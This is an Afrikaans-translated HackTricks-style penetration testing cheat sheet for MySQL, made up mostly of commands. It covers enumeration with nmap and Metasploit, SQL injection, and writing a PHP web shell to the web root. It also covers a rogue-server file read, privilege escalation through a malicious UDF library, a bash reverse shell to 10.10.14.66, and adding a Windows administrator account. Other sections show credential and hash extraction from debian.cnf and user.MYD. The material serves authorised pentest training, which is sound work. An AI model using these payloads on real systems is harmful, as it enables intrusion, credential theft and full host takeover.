3306 - Pentesting Mysql

Reading time: 12 minutes

Basiese Inligting

MySQL kan beskryf word as 'n oopbron Relasionele Databasisbestuurstelsel (RDBMS) wat gratis beskikbaar is. Dit werk op die Gestruktureerde Vraataal (SQL), wat die bestuur en manipulasie van databasisse moontlik maak.

Standaard poort: 3306

3306/tcp open  mysql

Verbind

Plaaslik

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Afstand

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Eksterne Enumerasie

Sommige van die enumerasie aksies vereis geldige akrediteerlinge

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Skryf enige binêre data

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL opdragte

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Toestemmings Enumerasie

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

U kan in die dokumentasie die betekenis van elke voorreg sien: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL Lêer RCE

MySQL File priv to SSRF/RCE

MySQL arbitrêre lêer lees deur kliënt

Werklik, wanneer jy probeer om data plaaslik in 'n tabel te laai die inhoud van 'n lêer vra die MySQL of MariaDB bediener die kliënt om dit te lees en die inhoud te stuur. As jy dan 'n mysql kliënt kan manipuleer om met jou eie MySQL bediener te verbind, kan jy arbitrêre lêers lees.
Neem asseblief kennis dat dit die gedrag is wat gebruik word:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Let op die "local" woord)
Want sonder die "local" kan jy kry:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Inisiële PoC: https://github.com/allyshka/Rogue-MySql-Server
In hierdie dokument kan jy 'n volledige beskrywing van die aanval sien en selfs hoe om dit uit te brei na RCE: https://paper.seebug.org/1113/
Hier kan jy 'n oorsig van die aanval vind: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

POST

Mysql Gebruiker

Dit sal baie interessant wees as mysql as root draai:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Gevaarlike Instellings van mysqld.cnf

In die konfigurasie van MySQL dienste, word verskeie instellings gebruik om sy werking en sekuriteitsmaatreëls te definieer:

• Die user instelling word gebruik om die gebruiker aan te dui waaronder die MySQL diens uitgevoer sal word.
• password word toegepas om die wagwoord wat met die MySQL gebruiker geassosieer word, te vestig.
• admin_address spesifiseer die IP-adres wat luister vir TCP/IP verbindings op die administratiewe netwerkinterfaan.
• Die debug veranderlike is aanduidend van die huidige foutopsporing konfigurasies, insluitend sensitiewe inligting binne logs.
• sql_warnings bestuur of inligtingsstringe gegenereer word vir enkel-ry INSERT verklarings wanneer waarskuwings ontstaan, wat sensitiewe data binne logs bevat.
• Met secure_file_priv word die omvang van data-invoer en -uitvoer operasies beperk om sekuriteit te verbeter.

Privilege verhoging

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

As die mysql bediener as root (of 'n ander meer bevoorregte gebruiker) loop, kan jy dit laat opdragte uitvoer. Hiervoor moet jy gebruikers gedefinieerde funksies gebruik. En om 'n gebruikers gedefinieerde funksie te skep, sal jy 'n biblioteek vir die OS wat mysql uitvoer, nodig hê.

Die kwaadwillige biblioteek om te gebruik kan binne sqlmap en binne metasploit gevind word deur locate "*lib_mysqludf_sys*" te doen. Die .so lêers is linux biblioteke en die .dll is die Windows een, kies die een wat jy nodig het.

As jy nie daardie biblioteke het nie, kan jy of soek daarna, of hierdie linux C kode aflaai en dit binne die linux kwesbare masjien saamstel:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Nou dat jy die biblioteek het, teken in binne die Mysql as 'n bevoorregte gebruiker (root?) en volg die volgende stappe:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Uittreksel van MySQL geloofsbriewe uit lêers

Binne /etc/mysql/debian.cnf kan jy die planktekst wagwoord van die gebruiker debian-sys-maint vind

cat /etc/mysql/debian.cnf

U kan hierdie geloofsbriewe gebruik om in die mysql-databasis aan te meld.

Binne die lêer: /var/lib/mysql/mysql/user.MYD kan u alle hashes van die MySQL gebruikers vind (diegene wat u kan onttrek uit mysql.user binne die databasis).

U kan dit onttrek deur:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Aktivering van logging

Jy kan logging van mysql navrae aktief maak binne /etc/mysql/my.cnf deur die volgende lyne te ontkommentarieer:

Nuttige lêers

Konfigurasie Lêers

• windows *
• config.ini
• my.ini
• windows\my.ini
• winnt\my.ini
• <InstDir>/mysql/data/
• unix
• my.cnf
• /etc/my.cnf
• /etc/mysql/my.cnf
• /var/lib/mysql/my.cnf
• ~/.my.cnf
• /etc/my.cnf
• Opdrag Geskiedenis
• ~/.mysql.history
• Log Lêers
• connections.log
• update.log
• common.log

Standaard MySQL Databasis/Tabelle

HackTricks Outomatiese Opdragte

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'